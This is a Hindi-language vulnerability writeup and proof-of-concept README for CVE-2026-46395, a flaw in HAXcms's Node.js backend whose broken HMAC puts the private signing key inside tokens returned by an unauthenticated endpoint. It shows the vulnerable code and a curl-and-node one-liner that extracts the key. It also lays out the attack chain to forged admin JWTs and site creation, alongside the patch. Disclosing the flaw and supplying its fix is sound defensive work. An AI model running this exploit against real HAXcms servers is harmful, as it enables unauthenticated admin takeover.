
CVE-2026-46395 के लिए PoC और writeup: HAXcms Node.js में टूटे हुए HMAC के माध्यम से अनधिकृत निजी कुंजी प्रकटीकरण (CWE-321/CWE-200)। केवल अधिकृत सुरक्षा अनुसंधान के लिए।
केवल अधिकृत सुरक्षा परीक्षण और अनुसंधान के लिए प्रूफ-ऑफ-कॉन्सेप्ट। यहां वर्णित भेद्यता HAXcms के नवीनतम रिलीज़ में ठीक कर दी गई है। यह PoC इसलिए प्रकाशित किया गया है ताकि डिफेंडर और शोधकर्ता उन अनपैच्ड इंस्टेंसों पर समस्या की पुष्टि कर सकें जो उनके स्वामित्व में हैं या जिनके परीक्षण के लिए वे स्पष्ट रूप से अधिकृत हैं।
| CVE | CVE-2026-46395 |
| घटक | HAXcms Node.js बैकएंड - haxcms-nodejs/src/lib/HAXCMS.js |
| भेद्यता | हार्ड-कोडेड क्रिप्टो कुंजी + निजी कुंजी का प्रकटीकरण (CWE-321, CWE-200) |
| गंभीरता | गंभीर - CVSS 3.1 9.8 |
| हमला | बिना प्रमाणीकरण, एक HTTP अनुरोध, कोई उपयोगकर्ता इंटरैक्शन नहीं |
| स्थिति | अपस्ट्रीम में ठीक किया गया। पैच से पहले के रिलीज़ को प्रभावित करता है। |
| परियोजना | elmsln/HAXcms |
| रिपोर्टकर्ता | Shreyas Challa ([email protected]) |
HAXcms Node.js बैकएंड (src/lib/HAXCMS.js:2158-2163) में hmacBase64() में दो क्रिप्टोग्राफ़िक त्रुटियाँ हैं, जो मिलकर किसी भी बिना प्रमाणीकरण वाले हमलावर को सर्वर के मास्टर साइनिंग सीक्रेट (privateKey + salt) को पुनर्प्राप्त करने और एडमिन-स्तर के JWT जाली बनाने की अनुमति देती हैं।
// HAXCMS.js:2158-2163 - VULNERABLE
hmacBase64(data, key) {
var buf1 = crypto.createHmac("sha256", "0").update(data).digest(); // BUG 1: key hardcoded to "0"
var buf2 = Buffer.from(key); // BUG 2: the real key...
return Buffer.concat([buf1, buf2]).toString('base64') // ...is appended to the output
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
key के बजाय साइनिंग कुंजी के रूप में शाब्दिक "0" का उपयोग किया जाता है, इसलिए HMAC कोई गोपनीयता प्रदान नहीं करता।key (सिस्टम का privateKey + salt) डाइजेस्ट के साथ जोड़ दिया जाता है और लौटाए गए टोकन में base64-एन्कोडेड हो जाता है।इसलिए प्रत्येक टोकन की संरचना इस प्रकार है:
base64url( [32 bytes: HMAC-SHA256 keyed with "0"] [N bytes: privateKey+salt IN PLAINTEXT] )
हमलावर किसी भी टोकन को base64-डिकोड करता है, पहले 32 बाइट्स को हटा देता है, और निजी कुंजी को सीधे पढ़ लेता है। /system/api/connectionSettings एंडपॉइंट JWT स्किप सूची (src/app.js) में है और बिना प्रमाणीकरण के इनमें से कई टोकन लौटाता है, इसलिए एक अकेला GET अनुरोध कुंजी को उजागर कर देता है।
PHP बैकएंड (
HAXCMS.php:1619-1631) इसे सही ढंग से लागू करता है (वास्तविक कुंजी के साथ कुंजीबद्ध, केवल डाइजेस्ट लौटाता है → 44-वर्ण वाले टोकन)। टूटा हुआ Node.js संस्करण 139+ वर्णों वाले टोकन उत्सर्जित करता है - एक स्पष्ट संकेत कि अतिरिक्त डेटा एम्बेडेड है।
एक अकेला बिना प्रमाणीकरण वाला अनुरोध पूर्ण समझौता कर देता है:
GET /system/api/connectionSettings, किसी भी टोकन को base64-डिकोड करें, पहले 32 बाइट्स हटाएँ।jwt.sign(payload, privateKey+salt)।user_token, form_token आदि की पुनर्गणना करें।यह एडमिन द्वारा मजबूत पासवर्ड सेट करने के बाद भी काम करता है, और जाली टोकन लॉग में कोई लॉगिन ईवेंट उत्पन्न नहीं करते।
poc_hmac_key_leak.js चालू इंस्टेंस के विरुद्ध पूरी श्रृंखला को एंड-टू-एंड निष्पादित करता है और प्रत्येक चरण को विस्तार से प्रिंट करता है: टोकन प्राप्त करें → कुंजी निकालें → कुंजी सत्यापित करें → JWT जाली बनाएं → अनुरोध टोकन जाली बनाएं → एक प्रमाणित एंडपॉइंट कॉल करें → लेखन पहुंच साबित करने के लिए एक साइट बनाएं।
स्थानीय परीक्षण इंस्टेंस तैयार करें:
git clone https://github.com/elmsln/HAXcms.git
cd HAXcms/haxcms-nodejs && npm install
node src/app.js # serves on http://localhost:3000
git clone https://github.com/shreyas-challa/CVE-2026-46395-haxcms-hmac-key-leak.git
cd CVE-2026-46395-haxcms-hmac-key-leak
npm install # pulls jsonwebtoken (used for JWT forgery)
node poc_hmac_key_leak.js http://localhost:3000
यदि jsonwebtoken इंस्टॉल नहीं है, तो PoC फिर भी कुंजी को निकालता है और सत्यापित करता है, और केवल JWT-जालसाजी के चरणों को छोड़ देता है।
TOKEN=$(curl -s http://localhost:3000/system/api/connectionSettings \
| grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4)
node -e "const t='$TOKEN'.replace(/-/g,'+').replace(/_/g,'/');
console.log('Leaked key:', Buffer.from(t,'base64').slice(32).toString('utf8'));"
STEP 1: Fetch /system/api/connectionSettings (NO AUTH)
token length: 139 chars (a correct HMAC token is ~44)
STEP 2: Extract the private key from the token
Bytes 32+ (privateKey + salt in PLAINTEXT):
4b399844-...-...-db022bc6-fa42-4dae-a74e-4eb52a53461b
RESULT: Private key successfully extracted!
STEP 3: MATCH - extracted key is correct.
STEP 4: Forged JWT (user=admin) ...
STEP 7: SITE CREATED SUCCESSFULLY - full admin access confirmed.
टूटे हुए फ़ंक्शन को एक सही कुंजीबद्ध HMAC से बदलें जो केवल डाइजेस्ट लौटाता है:
hmacBase64(data, key) {
return crypto.createHmac("sha256", key) // use the real key
.update(data)
.digest('base64') // return ONLY the hash
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
पैच लगाने के बाद:
privateKey और salt को रोटेट करें - पहले जारी किया गया कोई भी टोकन पुरानी कुंजी को सादे पाठ में समाहित करता है (HTTP प्रतिक्रियाओं, लॉग और ब्राउज़र इतिहास में)।नवीनतम HAXcms रिलीज़ में अपडेट करें, जिसमें अपस्ट्रीम सुधार शामिल है।
यह समस्या HAXcms अनुरक्षकों को रिपोर्ट की गई थी और प्रकाशन से पहले ठीक कर दी गई थी। PoC केवल पैच उपलब्ध होने के बाद जारी किया गया है। इसे केवल उन्हीं सिस्टमों के विरुद्ध उपयोग करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आप स्पष्ट रूप से अधिकृत हैं।
यह सामग्री रक्षात्मक अनुसंधान, शिक्षा और अधिकृत सुरक्षा परीक्षण के लिए प्रदान की गई है। स्पष्ट अनुमति के बिना सिस्टमों के विरुद्ध इसे चलाना अवैध हो सकता है। परीक्षण से पहले सभी लागू कानूनों का पालन करना और प्राधिकरण प्राप्त करना पूरी तरह आपकी ज़िम्मेदारी है। बिना किसी वारंटी के "as is" प्रदान किया गया है (देखें LICENSE)।